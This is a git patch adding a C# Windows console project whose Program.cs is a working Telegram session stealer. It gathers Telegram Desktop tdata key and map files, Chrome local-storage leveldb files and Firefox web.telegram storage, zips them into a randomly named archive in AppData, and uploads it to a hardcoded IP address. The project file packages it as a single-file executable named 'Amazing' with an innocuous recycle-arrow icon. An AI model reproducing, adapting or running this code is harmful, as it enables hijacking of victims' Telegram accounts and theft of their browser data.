From 732b40af0b819e84368b14ee0461b514a88f3215 Mon Sep 17 00:00:00 2001 From: itqop Date: Sun, 10 Mar 2024 17:02:55 +0300 Subject: [PATCH] =?UTF-8?q?=D0=94=D0=BE=D0=B1=D0=B0=D0=B2=D1=8C=D1=82?= =?UTF-8?q?=D0=B5=20=D1=84=D0=B0=D0=B9=D0=BB=D1=8B=20=D0=BF=D1=80=D0=BE?= =?UTF-8?q?=D0=B5=D0=BA=D1=82=D0=B0.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tg.sln | 25 ++++ tg/Program.cs | 129 ++++++++++++++++++ ...ay_direction_arrow_recycle_icon_256191.ico | Bin 0 -> 67646 bytes tg/tg.csproj | 29 ++++ 4 files changed, 183 insertions(+) create mode 100644 tg.sln create mode 100644 tg/Program.cs create mode 100644 tg/sign_way_direction_arrow_recycle_icon_256191.ico create mode 100644 tg/tg.csproj diff --git a/tg.sln b/tg.sln new file mode 100644 index 0000000..673f320 --- /dev/null +++ b/tg.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.7.34024.191 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "tg", "tg\tg.csproj", "{3638DE88-B7FA-4E07-85F9-B2B5B935E31F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {EA54079B-EB23-485B-945D-AC74A1080938} + EndGlobalSection +EndGlobal diff --git a/tg/Program.cs b/tg/Program.cs new file mode 100644 index 0000000..2002f37 --- /dev/null +++ b/tg/Program.cs @@ -0,0 +1,129 @@ +// See https://aka.ms/new-console-template for more information + +using System.IO.Compression; +using System.Net; + +string currentUserPath = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); +string folderPathTg = Path.Combine(currentUserPath, @"AppData\Roaming\Telegram Desktop\tdata"); + +string webfolderPathEdge = Path.Combine(currentUserPath, @"AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb"); +string webfolderPathGoogle = Path.Combine(currentUserPath, @"AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb"); +string webfolderPathFirefox = Path.Combine(currentUserPath, @"AppData\Roaming\Mozilla\Firefox\Profiles\"); + +string webfolderPathFirefoxI = ""; + +if (Directory.Exists(webfolderPathFirefox)) +{ + foreach (string dirname in Directory.GetDirectories(webfolderPathFirefox)) + { + if (Directory.Exists(Path.Combine(dirname, @"storage\default"))){ + webfolderPathFirefoxI = Path.Combine(dirname, @"storage\default"); + } + } +} + +string randomName = Path.GetRandomFileName().Replace(".", "").ToUpper() + ".zip"; + +var filesToArchive = new List(); +filesToArchive.Add(Path.Combine(folderPathTg, "key_datas")); +string[] dirs = Directory.GetDirectories(folderPathTg); +string folder = ""; +foreach (string filename in Directory.GetFiles(folderPathTg,"????????????????s")) +{ + string temp = filename.Substring(0, filename.Length - 1); + if (dirs.Contains(temp)) + { + folder = Path.GetFileName(filename); + folder = folder.Substring(0, folder.Length - 1); + filesToArchive.Add(filename); + filesToArchive.Add(temp + "/maps"); + + + } +} + + +string zipPath = Path.Combine(Path.Combine(currentUserPath, @"AppData\Local"), randomName); + +using (ZipArchive zipArchive = ZipFile.Open(zipPath, ZipArchiveMode.Create)) +{ + foreach (string file in filesToArchive) + { + if (File.Exists(file)) + { + if (Path.GetFileName(file).Contains("maps")) + { + zipArchive.CreateEntryFromFile(file, "tdata/"+folder+"/" + Path.GetFileName(file)); + } + else + { + zipArchive.CreateEntryFromFile(file, "tdata/" + Path.GetFileName(file)); + } + } + } + if (Directory.Exists(webfolderPathEdge)) + { + foreach (string filename in Directory.GetFiles(webfolderPathEdge)) + { + if (!filename.Contains(".log")) + { + //zipArchive.CreateEntryFromFile(filename, "Edge/leveldb/" + Path.GetFileName(filename)); + // Исправить систему + } + + } + } + if (Directory.Exists(webfolderPathGoogle)) + { + foreach (string filename in Directory.GetFiles(webfolderPathGoogle)) + { + zipArchive.CreateEntryFromFile(filename, "Google/leveldb/" + Path.GetFileName(filename)); + // Исправить систему + } + } + if (Directory.Exists(webfolderPathFirefoxI)) + { + foreach (string dirname in Directory.GetDirectories(webfolderPathFirefoxI)) + { + if (dirname.Contains("web.telegram")) + { + if (Directory.Exists(Path.Combine(dirname, "ls"))) + { + zipArchive.CreateEntryFromFile(Path.Combine(dirname, @"ls\data.sqlite"), "Firefox(data.sqlite)"); + } + } + + } + } +} + +string uploadUrl = "http://194.87.238.17/tghd.php"; + +try +{ + using (WebClient client = new WebClient()) + { + client.UploadFile(uploadUrl, zipPath); + } +} +catch (WebException ex) +{ + if (ex.Response != null) + { + using (StreamReader reader = new StreamReader(ex.Response.GetResponseStream())) + { + string errorResponse = reader.ReadToEnd(); + Console.WriteLine("Ошибка при отправке архива на сервер: " + errorResponse); + } + } + else + { + Console.WriteLine("Ошибка при отправке архива на сервер: " + ex.Message); + } +} +catch (Exception ex) +{ + Console.WriteLine("Произошла ошибка: " + ex.Message); +} + +//File.Delete(zipPath); diff --git a/tg/sign_way_direction_arrow_recycle_icon_256191.ico b/tg/sign_way_direction_arrow_recycle_icon_256191.ico new file mode 100644 index 0000000000000000000000000000000000000000..f46573a493734f71cf9de1cc895fcd1349b10716 GIT binary patch literal 67646 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 hR39p)_cqQ + + + WinExe + net6.0-windows + enable + enable + Amazing + sign_way_direction_arrow_recycle_icon_256191.ico + true + true + win-x64 + true + Link + + + + embedded + + + + embedded + + + + + + +